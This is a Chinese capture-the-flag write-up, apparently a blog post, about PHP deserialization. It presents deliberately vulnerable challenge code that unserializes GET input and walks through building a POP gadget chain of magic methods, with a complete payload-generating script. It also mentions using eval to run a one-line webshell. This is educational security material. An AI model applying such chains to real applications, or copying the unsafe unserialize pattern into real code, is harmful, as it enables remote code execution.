目录
题目:
题目代码:
分析:代码审计
通过以上分析,最终我们构建这个payload:
结果:
目标达到!
题目:
这个题目分析就有难度了,需要掌握php的魔法方法的使用以及调用条件。
初识PHP反序列化_奋斗的小智的博客-CSDN博客但是如果想注入恶意payload,还需要对$test的值进行覆盖,题目中已经给出了序列化链,很明显是对类A的$test变量进行覆盖,将POST接收的phpin佛()值覆盖所定义的值,这里也可以传入一句话木马等,利用我们的eval危险函数(任意命令执行)进行执行。在执行unserialize()方法时会触发__wakeup()方法执行,将传入的字符串反序列化后,会替换掉test类里面$test变量的值,将php探针写入flag.php文件中,并通过下面的require引用,导致命令执行。https://blog.csdn.net/weixin_60719780/article/details/128795216?spm=1001.2014.3001.5501php反序列化漏洞之pop链_奋斗的小智的博客-CSDN博客常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的 " gadget " 找到漏洞点。把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与https://blog.csdn.net/weixin_60719780/article/details/128943473?spm=1001.2014.3001.5501
题目代码:
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:xxxxxxxxxxxx";
}
}
$a = $_GET['string'];
unserialize($a);
?>
分析:代码审计
首先查看php的魔术方法,该题目涉及了(__destruct()、__call($test2,$arr)、__invoke()、__toString()),我们的目的是要拿到flag。
第一步;要拿到flag,首先我们要进入get_flag函数里,而且还在GetFlag的类中,我们要进入这个类中;在__toString方法中,有这样一段代码:$this->str1->get_flag(); 我们可以把str1设为GetFlag,并且string1要为字符串,这是__tostring方法的条件。
即:$this->str1 = new GetFlag()
第二步:发现类func中存在__invoke方法执行了字符串拼接,所以我们需要把func当成函数使用自动调用__invoke,所以mod1的值为string1
即:$this->mod1 = new string1() 这样的话在字符串拼接的时候就会触发魔术方法__toString()
第三步:在funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在__call方法中,且参数为$test2,即无法调用test2方法时自动调用 __call方法;
即:$this->mod1 = new func() 将func类作为函数调用就会触发魔术方法__invoke()
第四步:在Call中的test1方法中存在$this->mod1->test2();,需要把$mod1赋值为funct的对象,让__call自动调用。
即:$this->mod1 = new funct() 因为$test2()方法不存在,当$this->mod1调用的时候会触发魔术方法__call()
第五步:查找test1方法的调用点,在start_gg中发现$this->mod1->test1();,把$mod1赋值为Call类的对象,等待__destruct()自动调用。这个程序的起点就在这里
即:$this->mod1 = new Call()
通过以上分析,最终我们构建这个payload:
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new Call();
//把$mod1赋值为Call类对象
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new funct();
//把 $mod1赋值为funct类对象
}
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new func();
//把 $mod1赋值为func类对象
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new string1();
//把 $mod1赋值为string1类对象
}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1= new GetFlag();
//把 $str1赋值为GetFlag类对象
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$b = new start_gg;
//构造start_gg类对象$b
echo urlencode(serialize($b));
//显示输出url编码后的序列化对象
结果:
我们先执行下payload.php
拿到结果后,我们构建url